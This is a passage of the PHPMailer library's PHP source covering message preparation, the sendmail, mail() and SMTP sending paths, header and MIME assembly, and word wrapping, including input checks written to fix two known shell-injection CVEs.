}\n\n \/**\n * Create a message and send it.\n * Uses the sending method specified by $Mailer.\n * @throws phpmailerException\n * @return boolean false on error - See the ErrorInfo property for details of the error.\n *\/\n public function send()\n {\n try {\n if (!$this->preSend()) {\n return false;\n }\n return $this->postSend();\n } catch (phpmailerException $exc) {\n $this->mailHeader = '';\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Prepare a message for sending.\n * @throws phpmailerException\n * @return boolean\n *\/\n public function preSend()\n {\n try {\n $this->error_count = 0; \/\/ Reset errors\n $this->mailHeader = '';\n\n \/\/ Dequeue recipient and Reply-To addresses with IDN\n foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {\n $params[1] = $this->punyencodeAddress($params[1]);\n call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {\n throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);\n }\n\n \/\/ Validate From, Sender, and ConfirmReadingTo addresses\n foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {\n $this->$address_kind = trim($this->$address_kind);\n if (empty($this->$address_kind)) {\n continue;\n }\n $this->$address_kind = $this->punyencodeAddress($this->$address_kind);\n if (!$this->validateAddress($this->$address_kind)) {\n $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n }\n\n \/\/ Set whether the message is multipart\/alternative\n if ($this->alternativeExists()) {\n $this->ContentType = 'multipart\/alternative';\n }\n\n $this->setMessageType();\n \/\/ Refuse to send an empty message unless we are specifically allowing it\n if (!$this->AllowEmpty and empty($this->Body)) {\n throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);\n }\n\n \/\/ Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)\n $this->MIMEHeader = '';\n $this->MIMEBody = $this->createBody();\n \/\/ createBody may have added some headers, so retain them\n $tempheaders = $this->MIMEHeader;\n $this->MIMEHeader = $this->createHeader();\n $this->MIMEHeader .= $tempheaders;\n\n \/\/ To capture the complete message when using mail(), create\n \/\/ an extra header list which createHeader() doesn't fold in\n if ($this->Mailer == 'mail') {\n if (count($this->to) > 0) {\n $this->mailHeader .= $this->addrAppend('To', $this->to);\n } else {\n $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n $this->mailHeader .= $this->headerLine(\n 'Subject',\n $this->encodeHeader($this->secureHeader(trim($this->Subject)))\n );\n }\n\n \/\/ Sign with DKIM if enabled\n if (!empty($this->DKIM_domain)\n and !empty($this->DKIM_selector)\n and (!empty($this->DKIM_private_string)\n or (!empty($this->DKIM_private)\n and self::isPermittedPath($this->DKIM_private)\n and file_exists($this->DKIM_private)\n )\n )\n ) {\n $header_dkim = $this->DKIM_Add(\n $this->MIMEHeader . $this->mailHeader,\n $this->encodeHeader($this->secureHeader($this->Subject)),\n $this->MIMEBody\n );\n $this->MIMEHeader = rtrim($this->MIMEHeader, \"\\r\\n \") . self::CRLF .\n str_replace(\"\\r\\n\", \"\\n\", $header_dkim) . self::CRLF;\n }\n return true;\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Actually send a message.\n * Send the email via the selected mechanism\n * @throws phpmailerException\n * @return boolean\n *\/\n public function postSend()\n {\n try {\n \/\/ Choose the mailer and send through it\n switch ($this->Mailer) {\n case 'sendmail':\n case 'qmail':\n return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);\n case 'smtp':\n return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);\n case 'mail':\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n default:\n $sendMethod = $this->Mailer.'Send';\n if (method_exists($this, $sendMethod)) {\n return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);\n }\n\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n }\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n }\n return false;\n }\n\n \/**\n * Send mail using the $Sendmail program.\n * @param string $header The message headers\n * @param string $body The message body\n * @see PHPMailer::$Sendmail\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function sendmailSend($header, $body)\n {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s -f%s';\n } else {\n $sendmailFmt = '%s -oi -f%s -t';\n }\n } else {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s';\n } else {\n $sendmailFmt = '%s -oi -t';\n }\n }\n\n \/\/ TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.\n $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);\n\n if ($this->SingleTo) {\n foreach ($this->SingleToArray as $toAddr) {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, 'To: ' . $toAddr . \"\\n\");\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n array($toAddr),\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n } else {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n $this->to,\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n return true;\n }\n\n \/**\n * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.\n *\n * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.\n * @param string $string The string to be validated\n * @see https:\/\/github.com\/PHPMailer\/PHPMailer\/issues\/924 CVE-2016-10045 bug report\n * @access protected\n * @return boolean\n *\/\n protected static function isShellSafe($string)\n {\n \/\/ Future-proof\n if (escapeshellcmd($string) !== $string\n or !in_array(escapeshellarg($string), array(\"'$string'\", \"\\\"$string\\\"\"))\n ) {\n return false;\n }\n\n $length = strlen($string);\n\n for ($i = 0; $i < $length; $i++) {\n $c = $string[$i];\n\n \/\/ All other characters have a special meaning in at least one common shell, including = and +.\n \/\/ Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.\n \/\/ Note that this does permit non-Latin alphanumeric characters based on the current locale.\n if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {\n return false;\n }\n }\n\n return true;\n }\n\n \/**\n * Check whether a file path is of a permitted type.\n * Used to reject URLs and phar files from functions that access local file paths,\n * such as addAttachment.\n * @param string $path A relative or absolute path to a file.\n * @return bool\n *\/\n protected static function isPermittedPath($path)\n {\n return !preg_match('#^[a-z]+:\/\/#i', $path);\n }\n\n \/**\n * Send mail using the PHP mail() function.\n * @param string $header The message headers\n * @param string $body The message body\n * @link http:\/\/www.php.net\/manual\/en\/book.mail.php\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function mailSend($header, $body)\n {\n $toArr = array();\n foreach ($this->to as $toaddr) {\n $toArr[] = $this->addrFormat($toaddr);\n }\n $to = implode(', ', $toArr);\n\n $params = null;\n \/\/This sets the SMTP envelope sender which gets turned into a return-path header by the receiver\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (self::isShellSafe($this->Sender)) {\n $params = sprintf('-f%s', $this->Sender);\n }\n }\n if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {\n $old_from = ini_get('sendmail_from');\n ini_set('sendmail_from', $this->Sender);\n }\n $result = false;\n if ($this->SingleTo and count($toArr) > 1) {\n foreach ($toArr as $toAddr) {\n $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);\n $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n } else {\n $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);\n $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n if (isset($old_from)) {\n ini_set('sendmail_from', $old_from);\n }\n if (!$result) {\n throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);\n }\n return true;\n }\n\n \/**\n * Get an instance to use for SMTP operations.\n * Override this function to load your own SMTP implementation\n * @return SMTP\n *\/\n public function getSMTPInstance()\n {\n if (!is_object($this->smtp)) {\n $this->smtp = new SMTP;\n }\n return $this->smtp;\n }\n\n \/**\n * Send mail via SMTP.\n * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.\n * Uses the PHPMailerSMTP class by default.\n * @see PHPMailer::getSMTPInstance() to use a different class.\n * @param string $header The message headers\n * @param string $body The message body\n * @throws phpmailerException\n * @uses SMTP\n * @access protected\n * @return boolean\n *\/\n protected function smtpSend($header, $body)\n {\n $bad_rcpt = array();\n if (!$this->smtpConnect($this->SMTPOptions)) {\n throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);\n }\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n $smtp_from = $this->Sender;\n } else {\n $smtp_from = $this->From;\n }\n if (!$this->smtp->mail($smtp_from)) {\n $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));\n throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);\n }\n\n \/\/ Attempt to send to all recipients\n foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {\n foreach ($togroup as $to) {\n if (!$this->smtp->recipient($to[0])) {\n $error = $this->smtp->getError();\n $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);\n $isSent = false;\n } else {\n $isSent = true;\n }\n $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);\n }\n }\n\n \/\/ Only send the DATA command if we have viable recipients\n if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {\n throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);\n }\n if ($this->SMTPKeepAlive) {\n $this->smtp->reset();\n } else {\n $this->smtp->quit();\n $this->smtp->close();\n }\n \/\/Create error message for any bad addresses\n if (count($bad_rcpt) > 0) {\n $errstr = '';\n foreach ($bad_rcpt as $bad) {\n $errstr .= $bad['to'] . ': ' . $bad['error'];\n }\n throw new phpmailerException(\n $this->lang('recipients_failed') . $errstr,\n self::STOP_CONTINUE\n );\n }\n return true;\n }\n\n \/**\n * Initiate a connection to an SMTP server.\n * Returns false if the operation failed.\n * @param array $options An array of options compatible with stream_context_create()\n * @uses SMTP\n * @access public\n * @throws phpmailerException\n * @return boolean\n *\/\n public function smtpConnect($options = null)\n {\n if (is_null($this->smtp)) {\n $this->smtp = $this->getSMTPInstance();\n }\n\n \/\/If no options are provided, use whatever is set in the instance\n if (is_null($options)) {\n $options = $this->SMTPOptions;\n }\n\n \/\/ Already connected?\n if ($this->smtp->connected()) {\n return true;\n }\n\n $this->smtp->setTimeout($this->Timeout);\n $this->smtp->setDebugLevel($this->SMTPDebug);\n $this->smtp->setDebugOutput($this->Debugoutput);\n $this->smtp->setVerp($this->do_verp);\n $hosts = explode(';', $this->Host);\n $lastexception = null;\n\n foreach ($hosts as $hostentry) {\n $hostinfo = array();\n if (!preg_match(\n '\/^((ssl|tls):\\\/\\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$\/',\n trim($hostentry),\n $hostinfo\n )) {\n \/\/ Not a valid host entry\n $this->edebug('Ignoring invalid host: ' . $hostentry);\n continue;\n }\n \/\/ $hostinfo[2]: optional ssl or tls prefix\n \/\/ $hostinfo[3]: the hostname\n \/\/ $hostinfo[4]: optional port number\n \/\/ The host string prefix can temporarily override the current setting for SMTPSecure\n \/\/ If it's not specified, the default value is used\n $prefix = '';\n $secure = $this->SMTPSecure;\n $tls = ($this->SMTPSecure == 'tls');\n if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {\n $prefix = 'ssl:\/\/';\n $tls = false; \/\/ Can't have SSL and TLS at the same time\n $secure = 'ssl';\n } elseif ($hostinfo[2] == 'tls') {\n $tls = true;\n \/\/ tls doesn't use a prefix\n $secure = 'tls';\n }\n \/\/Do we need the OpenSSL extension?\n $sslext = defined('OPENSSL_ALGO_SHA1');\n if ('tls' === $secure or 'ssl' === $secure) {\n \/\/Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled\n if (!$sslext) {\n throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);\n }\n }\n $host = $hostinfo[3];\n $port = $this->Port;\n $tport = (integer)$hostinfo[4];\n if ($tport > 0 and $tport < 65536) {\n $port = $tport;\n }\n if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {\n try {\n if ($this->Helo) {\n $hello = $this->Helo;\n } else {\n $hello = $this->serverHostname();\n }\n $this->smtp->hello($hello);\n \/\/Automatically enable TLS encryption if:\n \/\/ * it's not disabled\n \/\/ * we have openssl extension\n \/\/ * we are not already using SSL\n \/\/ * the server offers STARTTLS\n if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {\n $tls = true;\n }\n if ($tls) {\n if (!$this->smtp->startTLS()) {\n throw new phpmailerException($this->lang('connect_host'));\n }\n \/\/ We must resend EHLO after TLS negotiation\n $this->smtp->hello($hello);\n }\n if ($this->SMTPAuth) {\n if (!$this->smtp->authenticate(\n $this->Username,\n $this->Password,\n $this->AuthType,\n $this->Realm,\n $this->Workstation\n )\n ) {\n throw new phpmailerException($this->lang('authenticate'));\n }\n }\n return true;\n } catch (phpmailerException $exc) {\n $lastexception = $exc;\n $this->edebug($exc->getMessage());\n \/\/ We must have connected, but then failed TLS or Auth, so close connection nicely\n $this->smtp->quit();\n }\n }\n }\n \/\/ If we get here, all connection attempts have failed, so close connection hard\n $this->smtp->close();\n \/\/ As we've caught all exceptions, just report whatever the last one was\n if ($this->exceptions and !is_null($lastexception)) {\n throw $lastexception;\n }\n return false;\n }\n\n \/**\n * Close the active SMTP session if one exists.\n * @return void\n *\/\n public function smtpClose()\n {\n if (is_a($this->smtp, 'SMTP')) {\n if ($this->smtp->connected()) {\n $this->smtp->quit();\n $this->smtp->close();\n }\n }\n }\n\n \/**\n * Set the language for error messages.\n * Returns false if it cannot load the language file.\n * The default language is English.\n * @param string $langcode ISO 639-1 2-character language code (e.g. French is \"fr\")\n * @param string $lang_path Path to the language file directory, with trailing separator (slash)\n * @return boolean\n * @access public\n *\/\n public function setLanguage($langcode = 'en', $lang_path = '')\n {\n \/\/ Backwards compatibility for renamed language codes\n $renamed_langcodes = array(\n 'br' => 'pt_br',\n 'cz' => 'cs',\n 'dk' => 'da',\n 'no' => 'nb',\n 'se' => 'sv',\n 'sr' => 'rs'\n );\n\n if (isset($renamed_langcodes[$langcode])) {\n $langcode = $renamed_langcodes[$langcode];\n }\n\n \/\/ Define full set of translatable strings in English\n $PHPMAILER_LANG = array(\n 'authenticate' => 'SMTP Error: Could not authenticate.',\n 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',\n 'data_not_accepted' => 'SMTP Error: data not accepted.',\n 'empty_message' => 'Message body empty',\n 'encoding' => 'Unknown encoding: ',\n 'execute' => 'Could not execute: ',\n 'file_access' => 'Could not access file: ',\n 'file_open' => 'File Error: Could not open file: ',\n 'from_failed' => 'The following From address failed: ',\n 'instantiate' => 'Could not instantiate mail function.',\n 'invalid_address' => 'Invalid address: ',\n 'mailer_not_supported' => ' mailer is not supported.',\n 'provide_address' => 'You must provide at least one recipient email address.',\n 'recipients_failed' => 'SMTP Error: The following recipients failed: ',\n 'signing' => 'Signing Error: ',\n 'smtp_connect_failed' => 'SMTP connect() failed.',\n 'smtp_error' => 'SMTP server error: ',\n 'variable_set' => 'Cannot set or reset variable: ',\n 'extension_missing' => 'Extension missing: '\n );\n if (empty($lang_path)) {\n \/\/ Calculate an absolute path so it can work if CWD is not here\n $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;\n }\n \/\/Validate $langcode\n if (!preg_match('\/^[a-z]{2}(?:_[a-zA-Z]{2})?$\/', $langcode)) {\n $langcode = 'en';\n }\n $foundlang = true;\n $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';\n \/\/ There is no English translation file\n if ($langcode != 'en') {\n \/\/ Make sure language file path is readable\n if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {\n $foundlang = false;\n } else {\n \/\/ Overwrite language-specific strings.\n \/\/ This way we'll never have missing translation keys.\n $foundlang = include $lang_file;\n }\n }\n $this->language = $PHPMAILER_LANG;\n return (boolean)$foundlang; \/\/ Returns false if language not found\n }\n\n \/**\n * Get the array of strings for the current language.\n * @return array\n *\/\n public function getTranslations()\n {\n return $this->language;\n }\n\n \/**\n * Create recipient headers.\n * @access public\n * @param string $type\n * @param array $addr An array of recipient,\n * where each recipient is a 2-element indexed array with element 0 containing an address\n * and element 1 containing a name, like:\n * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))\n * @return string\n *\/\n public function addrAppend($type, $addr)\n {\n $addresses = array();\n foreach ($addr as $address) {\n $addresses[] = $this->addrFormat($address);\n }\n return $type . ': ' . implode(', ', $addresses) . $this->LE;\n }\n\n \/**\n * Format an address for use in a message header.\n * @access public\n * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name\n * like array('joe@example.com', 'Joe User')\n * @return string\n *\/\n public function addrFormat($addr)\n {\n if (empty($addr[1])) { \/\/ No name provided\n return $this->secureHeader($addr[0]);\n } else {\n return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(\n $addr[0]\n ) . '>';\n }\n }\n\n \/**\n * Word-wrap message.\n * For use with mailers that do not automatically perform wrapping\n * and for quoted-printable encoded messages.\n * Original written by philippe.\n * @param string $message The message to wrap\n * @param integer $length The line length to wrap to\n * @param boolean $qp_mode Whether to run in Quoted-Printable mode\n * @access public\n * @return string\n *\/\n public function wrapText($message, $length, $qp_mode = false)\n {\n if ($qp_mode) {\n $soft_break = sprintf(' =%s', $this->LE);\n } else {\n $soft_break = $this->LE;\n }\n \/\/ If utf-8 encoding is used, we will need to make sure we don't\n \/\/ split multibyte characters when we wrap\n $is_utf8 = (strtolower($this->CharSet) == 'utf-8');\n $lelen = strlen($this->LE);\n $crlflen = strlen(self::CRLF);\n\n $message = $this->fixEOL($message);\n \/\/Remove a trailing line break\n if (substr($message, -$lelen) == $this->LE) {\n $message = substr($message, 0, -$lelen);\n }\n\n \/\/Split message into lines\n $lines = explode($this->LE, $message);\n \/\/Message will be rebuilt in here\n $message = '';\n foreach ($lines as $line) {\n $words = explode(' ', $line);\n $buf = '';\n $firstword = true;\n foreach ($words as $word) {\n if ($qp_mode and (strlen($word) > $length)) {\n $space_left = $length - strlen($buf) - $crlflen;\n if (!$firstword) {\n if ($space_left > 20) {\n $len = $space_left;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n $buf .= ' ' . $part;\n $message .= $buf . sprintf('=%s', self::CRLF);\n } else {\n $message .= $buf . $soft_break;\n }\n $buf = '';\n }\n while (strlen($word) > 0) {\n if ($length <= 0) {\n break;\n }\n $len = $length;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n\n if (strlen($word) > 0) {\n $message .= $part . sprintf('=%s', self::CRLF);\n } else {\n $buf = $part;\n }\n }\n } else {\n $buf_o = $buf;\n if (!$firstword) {\n $buf .= ' ';\n }\n $buf .= $word;\n\n if (strlen($buf) > $length and $buf_o != '') {\n $message .= $buf_o . $soft_break;\n $buf = $word;\n }\n }\n $firstword = false;\n }\n $message .= $buf . self::CRLF;\n }\n\n return $message;\n }\n\n \/**\n * Find the last character boundary prior to $maxLength in a utf-8\n * quoted-printable encoded string.\n * Original written by Colin Brown.\n * @access public\n * @param string $encodedText utf-8 QP text\n * @param integer $maxLength Find the last character boundary prior to this length\n * @return integer\n *\/\n public function utf8CharBoundary($encodedText, $maxLength)\n {\n $foundSplitPos = false;\n $lookBack = 3;\n while (!$foundSplitPos) {\n $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);\n $encodedCharPos = strpos($lastChunk, '=');\n if (false !== $encodedCharPos) {\n \/\/ Found start of encoded character byte within $lookBack block.\n \/\/ Check the encoded byte value (the 2 chars after the '=')\n $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);\n $dec = hexdec($hex);\n if ($dec < 128) {\n \/\/ Single byte character.\n \/\/ If the encoded char was found at pos 0, it will fit\n \/\/ otherwise reduce maxLength to start of the encoded char\n if ($encodedCharPos > 0) {\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n }\n $foundSplitPos = true;\n } elseif ($dec >= 192) {\n \/\/ First byte of a multi byte character\n \/\/ Reduce maxLength to split at start of character\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n $foundSplitPos = true;\n } elseif ($dec < 192) {\n \/\/ Middle byte of a multi byte character, look further back\n $lookBack += 3;\n }\n } else {\n \/\/ No encoded character found\n $foundSplitPos = true;\n }\n }\n return $maxLength;\n }\n\n \/**\n * Apply word wrapping to the message body.\n * Wraps the message body to the number of chars set in the WordWrap property.\n * You should only do this to plain-text bodies as wrapping HTML tags may break them.\n * This is called automatically by createBody(), so you don't need to call it yourself.\n * @access public\n * @return void\n *\/\n public function setWordWrap()\n {\n if ($this->WordWrap < 1) {\n return;\n }\n\n switch ($this->message_type) {\n case 'alt':\n case 'alt_inline':\n case 'alt_attach':\n case 'alt_inline_attach':\n $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);\n break;\n default:\n $this->Body = $this->wrapText($this->Body, $this->WordWrap);\n break;\n }\n }\n\n \/**\n * Assemble message headers.\n * @access public\n * @return string The assembled headers\n *\/\n public function createHeader()\n {\n $result = '';\n\n $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);\n\n \/\/ To be created automatically by mail()\n if ($this->SingleTo) {\n if ($this->Mailer != 'mail') {\n foreach ($this->to as $toaddr) {\n $this->SingleToArray[] = $this->addrFormat($toaddr);\n }\n }\n } else {\n if (count($this->to) > 0) {\n if ($this->Mailer != 'mail') {\n $result .= $this->addrAppend('To', $this->to);\n }\n } elseif (count($this->cc) == 0) {\n $result .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n }\n\n $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));\n\n \/\/ sendmail and mail() extract Cc from the header before sending\n if (count($this->cc) > 0) {\n $result .= $this->addrAppend('Cc', $this->cc);\n }\n\n \/\/ sendmail and mail() extract Bcc from the header before sending\n if ((\n $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'\n )\n and count($this->bcc) > 0\n ) {\n $result .= $this->addrAppend('Bcc', $this->bcc);\n }\n\n if (count($this->ReplyTo) > 0) {\n $result .= $this->addrAppend('Reply-To', $this->ReplyTo);\n }\n\n \/\/ mail() sets the subject itself\n if ($this->Mailer != 'mail') {\n $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));\n }\n\n \/\/ Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4\n \/\/ https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n if ('' != $this->MessageID and preg_match('\/^<.*@.*>$\/', $this->MessageID)) {\n $this->lastMessageID = $this->MessageID;\n } else {\n $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());\n }\n $result .= $this->headerLine('Message-ID', $this->lastMessageID);\n if (!is_null($this->Priority)) {\n $result .= $this->headerLine('X-Priority', $this->Priority);\n }\n if ($this->XMailer == '') {\n $result .= $this->headerLine(\n 'X-Mailer',\n 'PHPMailer ' . $this->Version . ' (https:\/\/github.com\/PHPMailer\/PHPMailer)'\n );\n } else {\n $myXmailer = trim($this->XMailer);\n if ($myXmailer) {\n $result .= $this->headerLine('X-Mailer', $myXmailer);\n }\n }\n\n if ($this->ConfirmReadingTo != '') {\n $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');\n }\n\n \/\/ Add custom headers\n foreach ($this->CustomHeader as $header) {\n $result .= $this->headerLine(\n trim($header[0]),\n $this->encodeHeader(trim($header[1]))\n );\n }\n if (!$this->sign_key_file) {\n $result .= $this->headerLine('MIME-Version', '1.0');\n $result .= $this->getMailMIME();\n }\n\n return $result;\n }\n\n \/**\n * Get the message MIME type headers.\n * @access public\n * @return string\n *\/\n public function getMailMIME()\n {\n $result = '';\n $ismultipart = true;\n switch ($this->message_type) {\n case 'inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/related;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'attach':\n case 'inline_attach':\n case 'alt_attach':\n case 'alt_inline_attach':\n $result .= $this->headerLine('Content-Type', 'multipart\/mixed;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'alt':\n case 'alt_inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n default:\n \/\/ Catches case 'plain': and case '':\n $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);\n $ismultipart = false;\n break;\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($this->Encoding != '7bit') {\n \/\/ RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE\n if ($ismultipart) {\n if ($this->Encoding == '8bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');\n }\n \/\/ The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible\n } else {\n $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);\n }\n }\n\n if ($this->Mailer != 'mail') {\n $result .= $this->LE;\n }\n\n return $result;\n }\n\n \/**\n * Returns the whole MIME message.\n * Includes complete headers and body.\n * Only valid post preSend().\n * @see PHPMailer::preSend()\n * @access public\n * @return string\n *\/\n public function getSentMIMEMessage()\n {\n return rtrim($this->MIMEHeader . $this->mailHeader, \"\\n\\r\") . self::CRLF . self::CRLF . $this->MIMEBody;\n }\n\n \/**\n * Create unique ID\n * @return string\n *\/\n protected function generateId() {\n return md5(uniqid(time()));\n }\n\n \/**\n * Assemble the message body.\n * Returns an empty string on failure.\n * @access public\n * @throws phpmailerException\n * @return string The assembled message body\n *\/\n public function createBody()\n {\n $body = '';\n \/\/Create unique IDs and preset boundaries\n $this->uniqueid = $this->generateId();\n $this->boundary[1] = 'b1_' . $this->uniqueid;\n $this->boundary[2] = 'b2_' . $this->uniqueid;\n $this->boundary[3] = 'b3_' . $this->uniqueid;\n\n if ($this->sign_key_file) {\n $body .= $this->getMailMIME() . $this->LE;\n }\n\n $this->setWordWrap();\n\n $bodyEncoding = $this->Encoding;\n $bodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {\n $bodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $bodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the body part only\n if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {\n $bodyEncoding = 'quoted-printable';\n }\n\n $altBodyEncoding = $this->Encoding;\n $altBodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {\n $altBodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $altBodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the alt body part only\n if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {\n $altBodyEncoding = 'quoted-printable';\n }\n \/\/Use this as a preamble in all multipart message types\n $mimepre = \"This is a multi-part message in MIME format.\" . $this->LE . $this->LE;\n switch ($this->message_type) {\n case 'inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', 